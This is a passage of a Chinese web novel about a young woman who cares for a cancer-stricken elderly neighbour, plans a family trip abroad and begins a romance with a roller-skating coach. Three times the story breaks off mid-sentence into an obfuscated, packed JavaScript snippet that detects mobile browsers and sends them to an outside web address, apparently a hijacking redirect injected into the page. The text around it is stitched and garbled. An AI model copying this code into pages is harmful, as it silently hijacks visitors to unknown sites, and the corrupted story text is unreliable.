周俊臻坐上了去杭城的动车,与此同时,姥姥也提着刚煲好的鱼头豆腐汤来探望孙婆婆。 孙婆婆一边喝汤,一边抹眼泪,叹息道:“我家俊臻从小就懂事,从来不让我们操心。他工作这么忙,还要请假来看我,我给他拖后腿了……” 姥姥听到这话,气不打一处来:“什么拖不拖后腿的?孩子一片孝心,你还不领情。非要他一心扑在工作上,对你不闻不问,你才满意?” “你不懂,他们那家公司管得特别严,压力特别大。他刚参加工作那年,我跟他妈去杭城看他,整整一个星期,他都请不到半天假来陪我们,连周末都得加班。”孙婆婆放下勺子,神色有些担忧,“现在怎么突然闲下来了?该不会是公司要倒闭了吧?” 常乐原本在一旁默默啃着苹果,听到这话,赶紧替周俊臻解围:“孙婆婆,你别胡思乱想了。不就是请了几天假嘛,又不是什么大事。你年轻的时候,上班没请过假啊?” “就是就是。”姥姥附和道,又瞪着常乐,佯装生气:“哎,你这个小护工,怎么偷吃雇主的水果啊?扣钱!” 常乐无语地瞟她一眼,当着她的面,又啃了一大口苹果。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258817|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孙婆婆摆摆手,“让她吃吧。我牙口不好,吃不了苹果。”她唏嘘道,“人老了就是这样,好吃的东西咬不动,好看的衣服穿不了,好玩的地方也去不了,只能活一天算一天了。” “说什么丧气话呢?”姥姥嗔骂道,“你玩的地方还少吗?” “以后怕是玩不动了。” “瞎说,等你病好了,咱俩一起去玩。”姥姥忽然想到什么,语气变得兴奋,“对了,我的护照办好了,咱们可以出国玩。” “出国?”孙婆婆眉头一挑,“你想去哪儿?” “先去东南亚吧。” 孙婆婆撇撇嘴,兴致缺缺:“新马泰我都去过了,也就那样吧。上次让你跟我一起报团,你又不去。” 姥姥看向常乐,目光中有几分责怪,仿佛在说,都怪你当初拦着我。 常乐三两口吃完苹果,扔掉果蒂,说:“孙婆婆,姥姥,下次旅游就别报团了,我带你们去,保证玩得更好,花费更少。” 姥姥不屑地说:“你上次还说,等以后赚了钱,就带我去新马泰呢。哼,早就忘光了吧?就会画饼。” 常乐呆呆地眨了眨眼。 她的确把这事忘得一干二净。 还有,姥姥居然也懂“画饼”? “那好。”常乐挺直腰背,郑重其事地举手发誓,“等孙婆婆病好了,我就带你们去新马泰,这次绝不食言。” “新马泰我不去。”孙婆婆果断拒绝。 姥姥急了:“我想去!我还没去过呢!” 常乐想了想,再次作出承诺:“行,我就先带姥姥去新马泰。她还没出过国呢,我先带她出去长长见识。等孙婆婆病好了,我再带你们去别的地方玩。” -- 终于熬到了周一,所有人的心情都异常紧张。翠姨一遍遍地刷新手机,终于查询到活检的结果。 她眯着眼看了半天,表情越来越严肃。 “怎么了?”孙婆婆面上装得淡定,声音却颤抖起来,“很严重吗?不会是癌症晚期吧?我还能活多久?” 翠姨抬起头,一脸茫然地说:“我也看不懂。” “去找医生啊。”常乐急忙提醒她。 在她离开前,常乐用手机拍下检查结果,发给了林文娟。 没一会儿,林文娟就打来电话。 怕林文娟带来什么不好的消息,常乐犹豫了下,拿起手机起身,还欲盖弥彰地对孙婆婆说:“姥姥打电话来问了,我跟她说一声。” 她走出病房,关上门,才敢接通电话。 “还好。”林文娟一开口,就给常乐吃了颗定心丸,“属于二期,肿瘤穿透肠壁,但没有转移至淋巴结。” 常乐听得一头雾水:“啥意思啊?” 林文娟解释道:“就是结肠癌中期。” 中期?那还是很严重。 常乐心里一沉,又听见林文娟说:“要通过手术切除肿瘤,再视情况,决定要不要做化疗。医生怎么说?” 常乐闷闷地说:“翠姨去问了,还没回来。” 林文娟听出她情绪低落,安慰道:“放心吧,这个手术的治愈率很高,术后定期复查,五年存活率也很高。孙姨算是很幸运了。” 听她这么一说,常乐的心情又振奋起来。 “妈,做完这个手术,一般多久能痊愈啊?” “痊愈?”林文娟被她的问题逗笑了,“想要恢复得像正常人一样,至少得三个月。孙姨年纪大了,恢复得慢,至少也得半年吧。” 半年…… 常乐在心里默默盘算,她还有半年的时间去攒钱。 哪怕孙婆婆提出要去欧洲十日游…… 她也认了。 91. 91 “没事了,没事了,医生说手术很成功。” 翠姨举着手机跟周俊臻视频,又调转摄像头,对准躺在病床上的孙婆婆。 “你看,奶奶现在状态挺好的。” 孙婆婆虚弱地笑了下,抬起插满针管的手,冲镜头轻轻挥了挥。 手机里传来一声啜泣,翠姨也跟着红了眼眶,嗔怪道:“哎哟,都这么大个人了,还跟小孩子似的,动不动就哭哭啼啼的,害不害臊?” 她转回摄像头,站在窗边,对着手机絮絮叨叨:“……医生说,要等切片报告出来,再确定要不要化疗……化疗没有你想的那么可怕,就是吃一种叫什么卡培的药,主要是为了防止复发……” 视频里,周俊臻不知说了句什么,翠姨立马急了:“你回来干嘛?之前不是已经回来看过了嘛,你就安心工作吧,这边有我和常乐呢。” 挂断视频,翠姨长吁一声,坐到床边,对孙婆婆说:“孩子心疼你呢,哭得可伤心了。” 常乐默默叹了口气。 她想,除了担忧和心疼,此时此刻,周俊臻的心里,更多的是愧疚吧。 明明他现在有大把的时间,可以陪在家人身边,却因为不敢坦白,而被迫离开家乡,一边寻找生活的出路,一边饱受内心的煎熬。 孙婆婆瘪瘪嘴,扯起被子一角,擦拭着眼角的泪花。 常乐赶紧扯了张纸巾,给她擦掉眼泪和鼻涕,又把床头稍稍摇高,让她的呼吸更顺畅。 孙婆婆哽咽着说:“这孩子,从小就懂事,知道心疼人。” 常乐打趣道:“孙婆婆,有这么好的孙子,你还舍得走吗?说什么人间地府你都不孤单,说得倒轻巧,你要是真走了,你这宝贝大孙子可怎么办?” 孙婆婆面露尬色,嘟囔道:“我那是胡说八道的,你可别到处乱说啊,尤其是你姥姥,知道了肯定要笑话死我。” -- 孙婆婆又住了十天的院,并做了两次化疗。经医生评估后,她可以出院在家休养了。 在家里有翠姨贴身照顾,常乐终于能功成身退了。 常乐回家那天,姥姥给她办了个庆功宴,林文娟大手一挥,给她发了个大红包。 常乐打开一看,三千的现金,拿在手上,那种沉甸甸的满足感,比手机里的一串数字要真实得多。 “这是吴翠给的。她怕你不收,硬是塞给了我。”林文娟解释说,“这是你做护工赚的第一笔钱,辛苦了。” 常乐百感交集:“是啊,确实很辛苦。” 所以这笔钱,她收得心安理得。 这半个月,她每天睡在病房里,除了要做一些基础的护理清洁工作,还要配合医护人员的要求,一会儿陪孙婆婆去做各项检查,一会儿提取她的排泄物送到护士站……总之,各种脏活儿累活儿她都得干。 幸好孙婆婆是个通情达理的人,要是让她碰到一个挑剔难搞或是脾气暴躁的病人,估计少不了被训斥、被苛待。 简直跟旧社会的丫鬟一样命苦。 林文娟看出常乐的心思,故意逗她:“体验过一回就行了。这么辛苦,也赚不了几个钱,干脆以后别干了。” 常乐想了很久,认真地说:“干哪一行不辛苦呢?你看那些医生护士,每次值完夜班,人就像被榨干了一样。还有医院门口卖早点的小贩,早上四点就出摊了,一个包子一块五,一碗粥两块,辛辛苦苦一上午,估计也就赚个两百多。比起他们,我的工作已经算是很轻松了。” 顿了顿,她继续说:“而且,护工不仅要干体力活,还要给病人做心理疏导。我发现,我还挺擅长干这个的。” 林文娟露出欣慰的笑容。 “行,既然你喜欢,那就继续干下去吧。咱们小区的老人那么多,我给你宣传一下。只要你认真干,干得好,就不愁没有客户。“ -- 在家闲着没事,常乐又开始盘算起自己的小金库。 之前,她通过劳动仲裁,要回了属于自己的一万元工资。 接着,在家里当全职女儿几个月,小金库只进不出,又攒了两万多。 然后,去杭城受了几个月的苦,赚的不多,花销挺大,工资减去开销,只剩下几千块钱。 再加上刚刚收到的三千元报酬,加在一起,差不多有四万。 带姥姥去一趟新马泰,绰绰有余。 虽然当时姥姥是以开玩笑的口吻聊起这事,之后也没有再提起过,但常乐不想再食言了。 她开始在网上搜索各种攻略,查询天气、机票、酒店、必去的景点、必吃的美食…… 查着查着,她就有点上头:这么多的美食,她跟姥姥两人吃得完吗?这么美的风景,爸妈看不到,实在可惜。泰国还有人妖呢,姥爷不是一直好奇,人妖长什么样吗?要不把他也带上? 常乐又开始发愁:一家五口出国游,预算蹭蹭往上涨,她那点小金库,不知道会不会被掏空。 而且,姥爷大病初愈,旅游这种体力活儿,他的小身板能承受得住吗? 但是,把他一个人留在家里,未免太残忍了…… 各种小心思在常乐脑子里过了一遍。她决定先按兵不动,等计划基本成形,再给大家一个惊喜。 傍晚,带姥爷出门遛弯时,常乐盯着他的瘸腿,研究了好半天。 “姥爷,你现在不用拐棍,能自己走路吗?” 姥爷提起拐棍,尝试着走了几步。 “走是能走,就是一瘸一拐的,不好看,也走不远。” “那你用拐棍走路,最长能走多久呢?” “没试过。”姥爷想了想,“绕小区一圈应该没问题。” “你得坚持锻炼啊。每天早上练习高抬腿,中午坐着练习抬腿伸直,睡前躺在床上蹬自行车,这是医生教的几个基础动作。”常乐越说越恼火,“之前明明恢复得挺好的,这几天怎么又倒退了?我在医院这些天,没人盯着你,你是不是偷懒了?” 姥爷面红耳赤地辩解:“我、我练了啊,就是,可能进入瓶颈期了……” 常乐惋惜地叹了口气,“姥爷,跟你说实话吧,我打算带全家去新马泰玩一圈。既然你现在走路还不利索,那就不带你了。” “什么?!”姥爷顿时呆住了,“你们都去,把我一个人丢家里?” “放心,我会找个护工照顾你的。” “我、我、我……我现在可以走了,不用拐棍都行,不信你看!” 姥爷说完,迈开大步就往前冲,刚开始几步还算稳当,后面就开始歪歪扭扭。眼看他就要撞树上了,常乐急忙跑上前,一把扶住他。 “哎哟喂,你慢点!急什么啊?一口能吃成个胖子吗?你要是平时多锻炼、多走走,至于现在还走不稳吗?” 姥爷瘪着嘴,委屈巴巴地问:“我现在锻炼还来得及吗?” 常乐面露难色:“我是计划十一月底去的,还剩两个月,怕是来不——” “来得及来得及!”姥爷忙不迭地说,“我一定好好锻炼,天天走路,争取跟你们一起出国!” 接下来,姥爷就像打了鸡血一般,昂首挺胸,阔步向前,直到走得腿脚酸痛、站立不稳,才会用柺棍支撑一下。 篮球场旁,几个大爷正在下棋,有人喊姥爷来下一盘,他破天荒地拒绝了,一个人绕着篮球场,一圈圈地走着。 几盏大灯照亮了篮球场,灯光下,易诚正在训练学员。 他的秋季班招生还算顺利,新老学员加在一起有二十多人。操场上的这批应该都是新学员,个头高矮不一,滑得笨手笨脚,有个小姑娘摔了一跤,正扯着嗓子嚎啕大哭,易诚不得不蹲下身安慰她。 常乐一边盯着这头的姥爷,一边又不想错过那边的热闹,两只眼睛都忙不过来。 这时,从这群小学员中溜出来一个小胖墩,猫着腰,蹑手蹑脚地逃出了篮球场。 常乐蓦地瞪大眼。 紧接着,小胖墩趁易诚不注意,一个箭步蹿进了旁边的灌木丛里。 常乐拔腿就追上去,没跑几步,就揪住了他的衣领。 “你要干嘛去?” “你谁啊?”小胖墩扭头瞪着她,一边挣扎一边大喊,“放开我!有人拐卖儿童啦!” “嘿!你个小混蛋!”常乐怒了,一把拽住他的胳膊,将他拖到易诚跟前。 “这是你的学生?” 易诚一脸惊愕,看看常乐,又看看小胖墩,很快就猜到了是怎么回事。 他训斥小胖墩:“又想偷溜?今天你已经吃了三根雪糕,不能再吃了!” 小胖墩不服气,嚷嚷道:“我花我自己的钱,你管不着!” 易诚怒气冲冲地说:“你妈给你报轮滑班,是让你来减肥的。你倒好,天天溜出去买雪糕,才上两个星期的课,就胖了三斤!”他指着地上散落的轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258818|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑鞋,命令道:“快穿上!不滑个十圈不准走!” 小胖墩一屁股坐在地上,不情不愿地穿上了鞋。 易诚终于安抚好哭闹的小姑娘,起身环视一圈,拍了下巴掌,“其他人,下课!” 等学员们陆续离开了,常乐好奇地问易诚:“轮滑也能减肥吗?” “只要是运动,都可以减肥。”易诚看着小胖墩晃晃悠悠的背影,无奈地说,“这个学生还是钟煜介绍给我的。他妈一开始想让他学二胡,结果他一上课就犯困,还老是蹭同学的零食吃。培训班前台放了一盘糖,用来招待客人的,结果全被他一个人吃光了。” 常乐哈哈大笑:“钟煜就是想把这个包袱甩给你吧?” “也许吧。”易诚摇头叹息,“管住嘴,迈开腿,他一样都做不到,能瘦下来才怪。” “诶——”常乐忽然想到一个人,“方凛不是户外登山队的领队嘛,你可以把这个学生介绍给他啊。爬山的减肥效果肯定比轮滑要好。” 易诚思索片刻,“也行,待会儿我跟他打个电话。” “我来吧。”常乐掏出手机,正要打开微信,面前却伸来一只手,挡住了屏幕。 易诚说:“还是我来联系吧,我有他微信。” 常乐嘀咕道:“谁联系不都一样吗?” 虽然搞不懂他的脑回路,但她还是收起了手机。 不远处,姥爷不知何时已经坐到了棋桌旁,跟对面的棋友交战正酣。 易诚跟方凛发了条语音,简单说明了情况。 方凛很快回复,说这周六他会带队爬青云山,早上八点在东门集合,新学员可以直接过来,免费体验一天。 小胖墩只滑了两圈,就停在了易诚身边,满脸通红,气喘吁吁地说:“等我滑完五圈,能不能给我买个冰淇淋?” “当然不行。”易诚瞪他一眼。 小胖墩气呼呼道:“以前钟老师都会给我买!” 易诚面无表情地说:“所以他被你吃破产了,只能把你卖给我了。” 小胖墩转了转眼珠,跟他讨价还价:“那我滑完十圈,你就给我买一个?不然我就不滑了。” 易诚没好气地说:“你爱滑不滑。” 小胖墩一屁股坐在地上,双目圆瞪,双臂抱怀,誓要跟他抗争到底。 常乐不禁感叹:“只有方凛那种冷面教官,才能治得了他。” 易诚也不惯着小胖墩,直接掏出手机,给他妈打了个电话,三言两语说明了情况。 挂断电话后,易诚说:“他妈同意了。不过她现在在外地,暂时回不来。这周六,我把他送过去。” “你有时间吗?要不我去送吧。”常乐记得,周末是他最忙的时候。 “不要紧,周六上午我没课。” “反正我也没事做,干脆跟你一起去吧。”常乐兴致勃勃地说,“正好,我也好久没跟方凛见面了。” 易诚犹豫了下,说:“算了,还是我一个去吧。” “为什么?”常乐十分不解,“我不能去吗?” “嗯……”易诚垂下眼帘,似乎在回避她的视线,“方凛他、他……”他挠了挠鼻尖,吞吞吐吐地说,“他太帅了……” 常乐一脸困惑地问:“什么意思啊?他帅不帅,关我什么事……哦,我懂了!” 她装作恍然大悟的样子,开玩笑道:“你对他有意思?怕我去当电灯泡?” “哈?”易诚惊呆了。 她的脑回路也太奇怪了吧? “不是,我的意思是……”他低着头,耳根微微发热,磕磕巴巴地解释,“我是怕,你对他有意思。” “啊?”常乐哭笑不得,“你在想什么呢?他对我完全没有那个意思。” 易诚抬起眼,对上她的视线,认真地问:“如果他对你有意思,你会对他有意思吗?” 常乐被他绕晕了:“你到底什么意思啊?” 她感觉他们就像是汉语听力测试里的两个神经病,有话不好好说,专门以折磨外国考生为乐。 小胖墩听得都无语了,嚷嚷道:“笨蛋!我都猜到了他是什么意思,你还不知道?” 常乐低头看着他,“那你说说看,他什么意思?” 小胖墩伸出手,摇头晃脑地说:“你给我买袋薯片,我就告诉你。” 常乐“啪”的一下打掉他的手。 “去你的吧!” 92. 92 在感情方面,常乐虽然情感不够丰富,心思不够细腻,但绝不迟钝。 她能察觉到谁对自己有好感,但是,如果对方没有进一步行动,她也不会主动戳破那层窗户纸。 必要时刻,还会装傻充愣。 就比如现在。 常乐看着站在面前的易诚,没来由地冒出一句:“你知道,我爸一直想撮合我跟方凛。” 易诚表情一僵,讷讷地“哦”了一声。 常建民曾不止一次地对常乐夸过方凛,说他有多靠谱,多能干,多有责任心。有次,常乐被他絮叨得不耐烦了,反驳道:“你别一厢情愿了,他对我就没有那方面的想法。” “怎么没有?”常建民列举出各种小细节,试图证明方凛只是过于含蓄。男人嘛,都这样,不善于表达感情。 末了,他还拿自己举例:“就像我当初追你妈的时候,也不敢明着表示,只敢偷偷摸摸地示好,在她下班的路上假装偶遇,找借口去医院找她,给她送点小礼物。她也是过了好久才知道,原来我在追她。” 常乐毫不留情地揭露真相:“她在装傻。” “……啊?”常建民呆呆地张着嘴。 “她跟我说过,你那时候笨笨呆呆的,她不想搭理你,又不能直接拒绝,毕竟你又没有主动表白,她只好假装不知道。”常乐同情地看着常建民,“后来,她发现你这人还不错,有挺多优点的,所以慢慢接受了你。” 常建民呆愣半天,羞窘得脸都红了。 “呃,呃这个、这个不重要……”他支吾几声,试图扯回之前的话题,“所以说,你得跟方凛多接触,才能知道他心里的想法。” “他对我有没有意思,我还能感觉不到吗?”常乐没好气地说,“我又不是傻子。感觉不到,那就是没有嘛。” “男人都比较含蓄嘛。你感觉不到,可能是因为他、他……” 常建民陷入了迟疑。 “你说得对。”他看着常乐,终于想明白了,“感觉不到,就是没有。” 不用给男人找什么借口。 感觉不到对方的心意,就说明他不够喜欢你。 真正的喜欢,会从亮晶晶的眼睛、眼角的笑纹、泛红的耳根、微微颤抖的尾音,以及每一滴着急见你、而来不及擦拭的汗珠中流淌出来。 不需要猜来猜去,更不必患得患失。 “感觉不到,就是没有……”易诚喃喃自语。 他抬眼看向常乐,目光紧张又羞怯,轻声问:“那么,我的心意,你能感觉到吗?” 常乐凝视着他,清冷的灯光从他头顶洒落,映得他的五官更显深刻,睫毛在眼底覆下一片阴翳,眸光沉沉,像夜晚静谧的海面。 在等待一颗石子的投入。 周围其实并不安静,各种杂音环绕在耳畔,灌木丛里低低的虫鸣、下棋老头们的争执声、附近居民楼里电视的声响,还有“滋滋”的炒菜声…… 但常乐还是清晰地听到了自己的心跳。 咚、咚、咚—— 一声一声,急促而猛烈,仿佛要跃出胸膛。 嗓子阵阵发痒,她咽了咽口水,视线低垂,落在正仰头看戏的小胖墩脸上。 “你还剩八圈呢。”常乐板起脸,催促他,“赶紧去!” 小胖墩坐在地上岿然不动,眼里闪着狡黠的光,“我歇会儿。你们聊你们的,别管我。” 常乐尴尬地咳嗽一声,目光游移躲闪,转了一圈,最后才落回易诚的脸上。 他还在等着她的回答。 “你那个……明天有课吗?”她忽然冒出一句。 易诚微微一愣,老实回答:“白天没课,晚上有。” “那你想不想跟我一起……” 一低头,小胖墩正眼巴巴地等着下文,常乐张了张嘴,欲言又止。 “想!”易诚迫不及待地说,“你想去哪儿?” 常乐的脑子有些混乱,唯一能想到的地方就是慈湖公园。 “要不,就去……” 小胖墩侧着耳朵,听得格外专注。 “等会儿。”易诚弯下腰,一把揪起小胖墩,正色道:“还剩八圈,不滑完不许下课。” “没事儿,我可以迟点下课。”小胖墩又蹲下身,双手托腮,一脸期待地看着他俩。 “你们要去哪儿约会啊?我知道万达新开了一家烤肉店,里面什么都有,还有免费的冰淇淋。要是你们带我去……” “不行!”常乐和易诚异口同声。 在这枚千瓦大电灯泡的照耀下,刚刚还暧昧的气氛瞬间全无。 常乐稍感失落,又暗暗松了口气。 要迈出那一步,对双方来说,都不容易。 她对易诚说:“等我定好了时间地点,微信上发给你。” “行。”易诚连忙点头,怕自己话太少,显得太冷淡,又补了一句:“去哪儿都可以,吃什么都行。” 常乐冲他一笑,挥了挥手,转身去找姥爷了。 身后传来小胖墩的抱怨:“怎么不跟我说呢?怕我跟踪你们吗?到底去不去烤肉店啊?……” -- 第二天,吃过午饭,常乐郑重其事地洗了个头,用直板夹拉直了头发,又来来回回换了几身衣服,最后笨手笨脚地化了个妆。 镜子里的自己虽然没有改头换面,也算光彩照人了。 做完这一切,常乐心满意足地准备出门。 “干嘛去啊?”姥爷正在一边追剧,一边练习高抬腿,见常乐在玄关一连换了几双鞋,忍不住发问。 “那啥……我遛狗。”常乐有些心虚,不敢看他,弯腰给两条狗套上狗绳。 “早上不是遛过了吗?”姥爷不解地问,“而且,外面这大太阳晒的,你不嫌热狗还嫌热呢。” “哎呀,狗子也需要社交嘛。”常乐推开门,提起挂在门把手上的外卖袋,冲他摆摆手,“我走了,晚上在外面吃。” “哎,你等会儿——” 姥爷忽然想到什么,高抬腿走到玄关,问常乐:“你啥时候有空,带我去办个护照吧。” “干嘛?”常乐明知故问。 姥爷激动地说:“出国啊!咱们是一家人,就应该集体行动。总不能你们都出去潇洒,把我一个人落下吧?” “这个嘛……”常乐故作思索一番,“看你表现吧。” 姥爷两眼放光,腿抬得更卖力了。 -- 碰面的地点在慈湖公园的租船处。常乐牵着两条狗赶到时,易诚正靠在湖边的护栏上,闲散地刷着手机,脚边也蹲着两只狗。 他穿得跟平时没什么两样,依旧是宽松T恤加牛仔裤,但走近细看,会发现—— 他也洗了头,还刮了胡子。 常乐对此表示满意。毕竟,洗头就代表了重视程度,这条规则对男女都适用。 常乐深吸一口气,努力控制住心跳的节奏,放缓脚步,尽量让自己走得从容而优雅。 “抱歉,等很久了吧?”她的语调上扬,尾音没控制好,透出一丝紧张。 易诚见到她,眉眼舒展开来,粲然一笑,收起手机,“没事儿,我也刚到。” “等了半天外卖才到,所以来晚了点。”常乐忽然不敢直视他,低着头,从外卖袋里拿出两杯奶茶,问:“你想喝哪杯?” 易诚垂眸看着她,俊眉微挑,“是谁在姥爷的病床前发过誓,说以后再也不喝奶茶了?” “我……这也不能怪我。”常乐辩解道,“我不小心打开外卖软件,发现它居然给我发了一张三十减二十五的外卖券!这谁能忍得了?简直是逼着我长胖!” 最后,她忿忿地说:“资本主义肥我之心不死!” 易诚忍住笑,比较着她手里的两杯奶茶——一杯是清爽的柠檬茶,一杯满满当当全是各种小料,看一眼都噎得慌。 这应该是她喜欢的口味。 于是,易诚拿起柠檬茶,果然见她松了口气,心满意足地给另一杯插上了吸管。 两人租了辆带弧形顶棚的电动小船,船身是绿色,顶棚是鲜红色,上面点缀着小黑点,远远望去,就像一瓣西瓜飘荡在水面。 电动船驶到湖中心时,马达的轰鸣声停了,世界骤然安静下来。 小船轻轻摇曳,气氛也开始变得微妙。 明明两个人都很熟了,平时抬头不见低头见,聊天从来不会冷场。可是此时,他们都异常安静,各自将脸转向一旁,似乎都沉浸在这湖光山色的美景之中。 直到听到小狗发出阵阵低嚎,常乐才收回视线。 一看,一只小狗竟骑到了另一只的身上。 常乐大惊失色,急忙将他俩分开,怒斥道:“你们是兄妹,不对,是姐弟啊!怎么能干这种事呢?” 易诚赶紧拉回其中一只,将它的狗绳拴在船头,常乐也扯回另一只,将它护在船尾。 下一步,两人都开始教训起各自的狗,先是骂大狗是睁眼瞎,孩子当着自己面胡闹,也不管管,接着骂小狗不懂事,也不看看对方是谁,就乱搞男女关系。 常乐骂完,又感到费解:“小狗才多大啊,怎么这么早就发情了?” “九个月了,是该去做绝育了。”易诚提醒她,“它们的爹妈就是在这个年纪那啥的。” 常乐一拍脑门,天,已经九个月了。小狗出生那晚的场景她还记忆犹新呢。 易诚也有同样的感慨:“时间过得真快啊。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273053|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊。” 这九个月,好像发生了很多事,可是一回想,全是些鸡零狗碎。 气氛又陷入了沉默。 常乐试图切入新话题:“对了,你看了昨天爽哥更新的内容了吗?” “没有。”易诚如实回答。 这种灵异惊悚的文风实在不合他的口味,他只看了前几章就弃文了。但他每天还在坚持不懈地打卡,时不时给爽哥拉几个新粉丝。在他的努力下,爽哥的新书收藏量已经突破三十个了。 提起这事,常乐的情绪立马就上来了:“你是不知道,他给我安排了一个下水道女妖的角色,每次下暴雨,就会出来舔路人的脚!”她越说越激动,不停拍打着船舷,“太猥琐了!” 小船被她拍得一晃一晃的。易诚竭力憋住笑,问:“你确定这个女妖是你?” 常乐忿忿不平地说:“当然了!这个女妖叫大肠乐!这什么鬼名字?听上去像什么通便神药!” 易诚实在憋不住了,哈哈大笑起来。 “你别高兴得太早。”常乐哼嗤一声,阴恻恻地说,“最新章节里,男主对门搬来了一个美女邻居,叫易小橙,又体贴又温柔,应该是以你为原型的。如果我没猜错的话,她最后会像男主的初恋女友、清纯学妹、冷艳上司一样,被男主纳入后宫。” 易诚的笑容瞬间僵在脸上。 ……还不如把他写成一个变态男妖呢。 “他怎么这么低俗,一点艺术追求都没有,亏我还经常鼓励他……”易诚面红耳赤,嘟嘟囔囔,“回去我就取消收藏!” 常乐掏出手机,“我现在就取消!” 几个账号不停切换,她自己的、姥姥的、姥爷的、她妈的、她爸的、翠姨的、孙婆婆的…… 与此同时,坐在电脑前的爽哥看到自己的收藏一个接一个往下掉,没一会儿就少了三分之一,顿时感觉天都塌了。 -- 在湖面上悠悠荡荡一个小时后,两人终于下了船。 一上岸,图图就吐了,胜宝也恹恹的。只有两只小狗还活蹦乱跳的,绕着圈嗅对方的屁股,爱情的小火苗有再次燎燃之势。 这画面简直没眼看,常乐索性抱起自家小狗,故作凶恶地威胁道:“回去就把你们阉了。” 公园里有一片小吃集市,常乐刚喝完一大杯奶茶,胃里塞得满满的,对这些大同小异的小吃实在提不起兴趣。 但是,碰到喜欢的美食,胃就像海绵,挤一挤还是有空间的。 路过一家炒栗子的小摊时,常乐忍不住停下脚步,看着粒粒金黄饱满的板栗,不争气地咽了咽口水。 都不需要她开口,易诚已经走上前,买了两斤,纸袋装得满满的,抱在怀里熨帖着胸口。 板栗已经开好了口,轻轻一剥,黄澄澄的板栗仁便落入指尖。 他将板栗仁递给常乐。 常乐抱着小狗,不方便伸手,便低下头,用嘴唇衔住。 柔软的唇与他的指尖轻轻一触,旋即离开。 易诚心弦一颤,倏地收回手,指尖还残留着那种微妙的触感。 他别过头,又拿起一枚板栗,剥开,塞进自己嘴里。 浓郁香甜的味道在舌尖化开,仿佛把整个秋天的香糯都含在了嘴里。 湖畔有一大片桂花树,此时开得正盛,空气中弥漫着馥郁的芬芳。他们找了片草坪坐下,安静地剥着板栗,眺望湖面。 太阳斜斜地挂在远山之间,粼粼的波光映入眼眸,一片朦胧,恍如梦中。 常乐躺在草地上,闭着眼,一只手枕在脑后,另一只手在纸袋里摸索着。 仿佛心有灵犀般,一枚热乎乎的板栗仁便滚入了她的手心。 她弯唇一笑,将板栗仁塞进嘴里。 小狗趴在她的肚子上,随着她的呼吸一起一伏。草尖轻挠着她的后颈,有点痒,耳边传来窸窸窣窣的声音,也许是秋天的蚂蚱在扑腾,也许是头顶的树叶被风轻摇,也许是泥土里,生命在萌芽或是凋零。 常乐安心地享受着这个宁静的下午。 温热的气息在缓慢靠近,带着小心翼翼的试探。 越过了漫长的等待,他的双唇终于贴近,在她的脸颊上落下轻盈一吻,旋即离开。 暖风轻拂,她的脸上还残留着板栗的香甜气味。 常乐一直觉得,谈恋爱得按照流程来,先表白,再牵手,最后才接吻。 但是,易诚是个例外。 他对她的心意,已经在一次又一次义无反顾的奔赴中,清晰而坚定地表达出来了。 他们彼此心照不宣,语言倒显得矫情和多余。 常乐抿唇偷笑,决定继续装睡,让这温柔而浪漫的时刻,长久地留在自己的记忆深处。 93. 93 周六上午,常乐还是跟易诚一起,送小胖墩去了青云山公园。 方凛正在公园门口登记学员信息,远远地看到他们从车上下来,刚要抬起手打招呼,在看清两人十指紧扣的双手时,脸上的笑容僵滞了一瞬。 等他们慢慢走近,方凛已经调整好了表情,由衷地说了句:“恭喜啊。” “谢谢了。”易诚主动接过这声道贺,然后将小胖墩推到方凛面前,介绍道:“这是方老师。” 小胖墩闷闷地喊了声“老师好”。 方凛登记好他的信息,给他发了一个简易背包,里面装了两瓶水、三根香蕉、以及若干小面包和饼干。 小胖墩眼睛一亮,立刻掏出香蕉,大口大口地吃了起来。 “这是你一天的伙食。”方凛提醒他。 美食当前,他压根听不见别人说话。 明明上车之前刚吃了一大碗牛肉面。 易诚无奈地摇摇头,对方凛说:“要是路上有什么便利店,你当心点,别让他溜了。” “行,我盯紧点。” 方凛说完,几个人都没话说了,气氛安静得有一丝尴尬。 小胖墩吃完香蕉,又撕开了一袋饼干,嚼了两口,“呸呸”全吐了出来。 他的脸皱成一团,吐槽道:“这是啥啊?这么难吃,跟猪糠一样。” “你吃过糠?”方凛没好气地呛了一句,从他手里抢走背包,“我先替你保管着吧。” 小胖墩不好意思承认,他在农村老家时因为嘴馋,又买不到零食,确实偷偷尝过猪糠。当天晚上,他就哭着喊着要回家了。 学员还没到齐,方凛还得在公园门口等一会儿。易诚本想送完人就回去,无奈小胖墩拉着他要去上洗手间,实则是盯上了旁边的小卖部,试图通过撒娇卖萌再蹭点零食吃。 常乐看着两人在小卖部和洗手间之间像拔河一样较着劲,笑得直不起腰。 